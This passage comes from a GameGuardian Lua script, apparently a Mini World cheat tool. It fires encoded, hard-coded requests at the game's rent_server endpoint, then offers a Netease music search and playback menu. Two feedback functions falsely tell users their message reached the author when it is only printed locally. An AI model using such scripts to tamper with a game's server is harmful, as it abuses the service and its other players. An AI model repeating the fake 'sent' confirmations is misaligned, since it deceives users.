gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4WivMVhZPxivGa7L5Qfc4WisK3FoXx8vPOhROO6ROdXR4YqROOMRORgROWMROOMROQQROWAROOMR4SlR4YXROOqR4SAR4S6RiqBsM3Bc4Wqp4sAyPyMa1QiH4Q8NiHANjyGy1H7y4V6RiNfZ5Q7Z1fxHiNSH4y7NjaFRT9UvPOhy4H7yjVXN1slNma8Lo9kc4y6y1dMHXOfH49iN5RFN7SlHXOlH4VGNXR8H4Oxy138RTyGL1fANjyGy1H7y4VXRT3UvjfAyjyfNmaXaodhym6f0jWiHogUZPrhymaEHPxTc4ViHXhqvT9Ge4q14Fa7NXOhyr__&s7t=9ae63").content end function aa5() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaJs1qGaoNfHoRfRTRJvXqCZPrhymafZPqwc4WXy7dlNjrMN1siHo3fZ1qFNPawy1VMa1R8H4s6H7sxN49jN1yqHPR8p1d7H4dAyGa7yTrhy4H7yjVXy7WlNFaqZP6hy4d7N1OiLi3Gc4WIN26ARiQlZPwSc4Wiv5QIa7flRiNJLPxfsTShrf6is7Lwc4W_&s7t=cc243").content end function aa6() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4WivMVhZPxivGaBHPwIL5QUvjfARTgqHwhIHPqwcm3Qp232NFO6Nm3QNG32rm3gNG3QNG3g9m3gym3QNGOxy2O6NF3QNmOxymOxp2aBvoNqv4fANjYAy4W6a5WqN1VAyPaiy4H7yjVXy7Wlp2ajL588sXYhN4VMpPOlp1a8aFafZPqwc4WXy7dlNjrMp1SiHo3fZ1f6a4V7p4yAa1y6H4dfpPy7N5HfyPdxp53SH4SXaP9SNma7yTrhy4H7yjVXy7WlNFaqZP6hy4d7N1OiLi3Gc4WIN26ARiQlZPwSc4Wiv5QIa7flRiNJLPxfsTShrf6is7Lwc4W_&s7t=7b3c1").content end function aa7() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4WivMVhZPxivGaBHPwIL5QUvjflRTgqHwhIHPqwcm3Qp232NFO6Nm3QNG32rm3gNG3QNG3g9m3gym3QNGOxy2O6NF3QNmOxymOxp2aBvoNqv4fAN7rGy4Wqp1SqN1RFy4aSy4H7yjVXy7Wlp2ajL588sXYhyXrfN73Fy7g8y2afZPqwc4WXy7dlNjr6N4ViHo3fZ1qFpPWXyXRSNPR8aiQwHPH7y1R8y7sMH7d7Hj8wyjOfyGa7yTrhy4H7yjVXy7WlNFaqZP6hy4d7N1OiLi3Gc4WIN26ARiQlZPwSc4Wiv5QIa7flRiNJLPxfsTShrf6is7Lwc4W_&s7t=44f26").content end function aa8() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4HivMVhZPxivGa7L5Qfc4WisK3FoXx8vPOhROO6ROdXR4YqROOMRORgROWMROOMROQQROWAROOMR4SlR4YXROOqR4SAR4S6RiqBsM3Bc4OqN7WAHjY6yPH7N7sGp4WXy7dlNjyAy1YiHM9kHoNkc4wFHX98y7yXNidiL5wBa4fANjyGy1H7NjHqRiQqL5Yhyir6yjyGyXaFpPOlp4y7N1Oxp49wyjO7aPHGy19wN4Wis7Rfc4WXy7dlNjyAy1HiLPwIc4WGy7rqRTawsjfA0jrIyma8s5wUa1fARiA8vishy2ajvM3ILKRxcONpRTyMa4fA&s7t=b57a2").content end function aa9() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4HivMVhZPxivGa7L5Qfc4VisK3FoXx8vPOhROO6ROdXR4YqROOMRORgROWMROOMROQQROWAROOMR4SlR4YXROOqR4SAR4S6RiqBsM3Bc4y7y1WAN5rfHir7yj88HjWXy7dlNjyAy1YiHM9kHoNkcPylHP9wa18iNPOiL5wBa4fANjyGy1H7N1y6RiQqL5Yhp1d6p1sxH7YMy1OGa5QSN4VXHPdqyiNSaiOMyP9FH4Vis7Rfc4WXy7dlNjyAy1HiLPwIc4WGy7rqRTawsjfA0jrIyma8s5wUa1fARiA8vishy2ajvM3ILKRxcONpRTyMa4fA&s7t=9e079").content end function aa10() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaJs1qGaoNfHoRfRTRJvXqCZPrhNFafZPqwc4WXy7dlNjyxp1HiHo3fZ1qia5R8N1g8ajwwH4OAa4R8aPd6NiWAN4Q8NjylN4sxpma7yTrhy4H7yjVXy7WlNFaqZP6hy4d7N1OiLi3Gc4WIN26ARiQlZPwSc4Wiv5QIa7flRiNJLPxfsTShrf6is7Lwc4W_&s7t=b31a4").content end while true do if gg.isVisible(true) then FX1 = nil gg.setVisible(false) end if FX1 == nil then Main() end end end function d() DM="欢迎使用!" gg.playMusic("https://fanyi.baidu.com/gettts?lan=zh&text="..DM.."&spd=5&source=wise") menu ={} name ={} id = 0 play = false song = "" _G_ = { function() local searchMusic = gg.prompt({ "歌曲•歌手", "字数•限制", },{"","10"},{ "text", "text", }) if not searchMusic then gg.setVisible(false) Main() elseif searchMusic[1] == "" then gg.alert("请输入歌曲/歌手!") _G_[1]() else local results = gg.makeRequest("http://music.163.com/api/search/get?s="..searchMusic[1].."&type=1&offset=0&total=true&limit="..searchMusic[2]) if results.code == 200 then n=1 for v,k in results.content:gmatch('"id":(.-),"name":"(.-)"') do if n%4 == 1 then menu[n/4+1] = v..";"..k end if n%4 == 2 then menu[n/4+1] = menu[n/4+1]..";"..k end n=n+1 end _G_[2]() else local s = gg.alert("请求异常,请检查网络……","返回","退出") if not s then gg.setVisible(false) Main() end if s == 1 then os.exit() end if s == 2 then _G_[1]() end end end end, function() if #menu == 0 then gg.alert("没有搜索记录") Main() else for n=1,#menu do name[n] = menu[n]:gsub("[0-9]+;",""):gsub(";","\n歌手:") end local mu = gg.choice(name,0,"歌单") if not mu then _G_[1]() else song = name[mu] local sn=gg.choice({"播放","查看歌词"},nil,"歌曲:"..name[mu]) if not sn then _G_[1]() end if sn == 1 then id = menu[mu]:match("(.-);") gg.toast("正在播放音乐:"..name[mu],true) gg.playMusic("http://music.163.com/song/media/outer/url?id="..id..".mp3") play = true end if sn == 2 then id = menu[mu]:match("(.-);") song = name[mu] _G_[3]() end end end end, function() if id == 0 then gg.alert("未有播放记录") Main() else local results = gg.makeRequest("http://music.163.com/api/song/media?id="..id).content rs = results:match('"lyric":"(.-)","code'):gsub("\\n","\n"):gsub("[[!-z]+]","") gg.alert("\n《"..song:gsub("\n","》\n").."\n\n"..rs) gg.setVisible(false) end end, function() if play then play = false gg.toast("正在停止播放...") for i=1,100 do gg.playMusic("stop") gg.playMusic("stop") gg.playMusic("stop") gg.playMusic("stop") gg.playMusic("stop") gg.playMusic("stop") end gg.toast("播放已停止") else gg.toast("无正在播放的音乐") end end, function() gg.setVisible(true) if play then _G_[4]() end os.exit() end } function Main() local WY = gg.choice({ "🧊搜索歌曲🧊", "🧊搜索列表🧊", "🧊显示歌词🧊", "🧊暂停播放🧊", "🧊退出工具🧊" },nil,"主页") if not WY then gg.setVisible(false) end if WY then _G_[WY]() end end gg.setVisible(true) while true do if gg.isVisible() then gg.setVisible(false) Main() end end end function e() if FX2 == nil then mm = gg.prompt({[1]="输入你要发送的内容[默认的1是退出]"}, {[1]="1"}, {[1]="txet"}) if mm[1] == "1" then gg.toast("退出成功") else print(mm[1],"发送成功,作者已收到") os.exit() end end end function f() if FX2 == nil then mm = gg.prompt({[1]="输入你要发送的内容[默认的1是退出]"}, {[1]="1"}, {[1]="txet"}) if mm[1] == "1" then gg.toast("退出成功") else print(mm[1],"发送成功,作者已收到") os.exit() end end end function Exit() print("欢迎再次光临") os.exit() end while true do if gg.isVisible(true) then XGCK = 1 gg.setVisible(false) end gg.clearResults() if XGCK == 1 then Main() end end